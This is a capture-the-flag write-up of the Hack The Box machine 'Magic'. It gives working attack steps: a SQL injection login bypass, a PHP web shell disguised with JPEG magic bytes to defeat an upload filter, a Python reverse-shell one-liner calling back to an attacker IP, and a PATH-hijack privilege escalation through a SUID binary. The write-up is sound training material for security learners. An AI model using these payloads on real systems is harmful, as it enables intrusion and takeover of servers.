Post

Hack The Box - Magic

Configuration

The operating system that I will be using to tackle this machine is a Kali Linux VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

1
$ echo "10.10.10.185 magic.htb" >> /etc/hosts

Reconnaissance

Using nmap, we are able to determine the open ports and running services on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nmap -sV -sT -sC magic.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-28 11:51 EDT
Nmap scan report for magic.htb (10.10.10.185)
Host is up (0.18s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.77 seconds

Enumeration (1)

We got no credentials for the ssh service on port 22 so let check out the http service on port 80.

On the bottom left, there’s a link to a login page.

http://magic.htb/login.php:

I threw in some basic SQL injection by putting ' or 1=1;-- in both the username and password and I got in? Nice.

http://magic.htb/upload.php:

I submitted nothing and I got this error:

So, the application wants me to support an image. However, based on experience, file upload pages are usually a place where bugs commonly occur so lets see how can we bypass the protections in place.

First, lets first create our web shell. If we manage to upload this, we basically can run any commands on the box!

1
2
3
4
5
6
7
$ cat shell.php
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>

Lets think about what kind of checks might be in place. Maybe they are checking the file extension?

1
$ mv shell.php shell.php.jpeg

They probably are but its still not good enough… Well since this box is called “Magic”, perhaps they are checking the magic bytes of the file uploaded? The magic bytes of a file is used to identify what type of file it is so that the system can properly interpret it and process accordingly. We can use the file command to see what our file is interpreted as.

1
2
$ file shell.php.jpeg
shell.php.jpeg: PHP script, ASCII text

Well, our file is definitely not recognized as a JPEG file. According to this link, the magic bytes of a JPEG file is FF D8 FF E0. Hence, we can just append these bytes to the front of our file.

1
2
3
$ echo -e "$(python -c "print '\xFF\xD8\xFF\xE0'")$(cat shell.php.jpeg)" > shell.php.jpeg
$ file shell.php.jpeg
shell.php.jpeg: JPEG image data

Now lets try uploading it.

Now lets figure out where does our file end up at. If you go back to the home page and right-click on the images and click on “View Image”, you will see that uploaded images are saved to http://magic.htb/images/uploads/. So, lets see if our web shell is there! Note that the uploaded files get cleared every now and then so you might need to reupload your web shell again to see it.

http://magic.htb/images/uploads/shell.php.jpeg:

These weird characters that you see are actually the magic bytes you added to our web shell! If we add the ?cmd=whoami to the end of our URL,

http://magic.htb/images/uploads/shell.php.jpeg?cmd=whoami:

We see that we can now arbitrary commands! The next step is probably to establish a more stable reverse shell since our web shell will get deleted every now and then. Since Python 3 was installed on the box (You can run which python3 to see if it is installed), we can execute a python reverse shell.

Starting our listener…

1
2
$ nc -lvnp 1337
listening on [any] 1337 ...

And by visiting http://magic.htb/images/uploads/shell.php.jpeg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.XX.XX",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);',

We now have a reverse shell.

1
2
3
4
5
6
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.185] 48482
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/var/www/Magic/images/uploads$

As www-data, we can check out what files are there in the root directory of the web service. In /var/www/Magic, there were 2 files of interest.

1
2
3
4
5
6
7
8
9
www-data@ubuntu:/var/www/Magic/images/uploads$ cat /var/www/Magic/db.php5
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';
...
1
2
3
4
www-data@ubuntu:/var/www/Magic/images/uploads$ cat /var/www/Magic/backup.sql
...
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
...

` We got 2 usernames, theseus and admin, and 2 passwords, iamkingtheseus and Th3s3usW4sK1ng. Let see what users we have in /home.

1
2
$ ls /home
theseus

user.txt

I guess we now know what to do. Using the 2 passwords we found, we manage to su to theseus.

1
2
3
4
www-data@ubuntu:/var/www/Magic/images/uploads$ su theseus
Th3s3usW4sK1ng
theseus@ubuntu:/var/www/Magic/images/uploads$ cat /home/theseus/user.txt
a9aaXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (2)

Lets run LinEnum.sh to see we can find anything to help use escalate our privileges.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
theseus@ubuntu:/var/www/Magic/images/uploads$ wget http://10.10.XX.XX/LinEnum.sh
--2020-08-22 04:59:07--  http://10.10.XX.XX/LinEnum.sh
Connecting to 10.10.XX.XX:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46476 (45K) [text/x-sh]
Saving to: ‘LinEnum.sh’

LinEnum.sh                                100%[========================================================>]  45.39K  85.5KB/s    in 0.5s    

2020-08-22 04:59:08 (85.5 KB/s) - ‘LinEnum.sh’ saved [46476/46476]

theseus@ubuntu:/tmp$ chmod +x LinEnum.sh
...
[-] SUID files:
...
-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo
...

sysinfo is not a binary commonly found in Linux distributions so lets look into it. When executing it, it prints information related to your memory, your disk and your CPU information. But if we look deeper into it,

1
2
3
4
5
6
theseus@ubuntu:/tmp$ ltrace /bin/sysinfo 2>&1 | grep popen
ltrace /bin/sysinfo 2>&1 | grep popen
popen("lshw -short", "r")                        = 0x5579b300ee80
popen("fdisk -l", "r")                           = 0x5579b300ee80
popen("cat /proc/cpuinfo", "r")                  = 0x5579b300ee80
popen("free -h", "r")                            = 0x5579b300ee80

It is actually running other commands to retrieve the above said information! Since the path of the binaries executed is not full, we can manipulate our $PATH variable so that our own code will be executed instead of the legitimate binary! We got 4 choices but I will choose free.

Preparing our payload:

1
2
theseus@ubuntu:/tmp$ echo "/bin/bash" >> /tmp/free
theseus@ubuntu:/tmp$ chmod +x free

Manipulating our $PATH variable so that the OS will check /tmp for free:

1
2
3
theseus@ubuntu:/tmp$ PATH=/tmp:$PATH
theseus@ubuntu:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

And now finally, if we run /bin/sysinfo:

1
2
3
theseus@ubuntu:/tmp$ /bin/sysinfo
====================Hardware Info====================
root@ubuntu:/tmp#

root.txt

We are now root! However, the output of commands will not be printed until I exit the current shell.

1
2
3
4
5
6
7
root@ubuntu:/tmp# cat /root/root.txt
cat /root/root.txt
root@ubuntu:/tmp# exit
exit
exit
4328XXXXXXXXXXXXXXXXXXXXXXXXXXXX
theseus@ubuntu:/tmp$

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.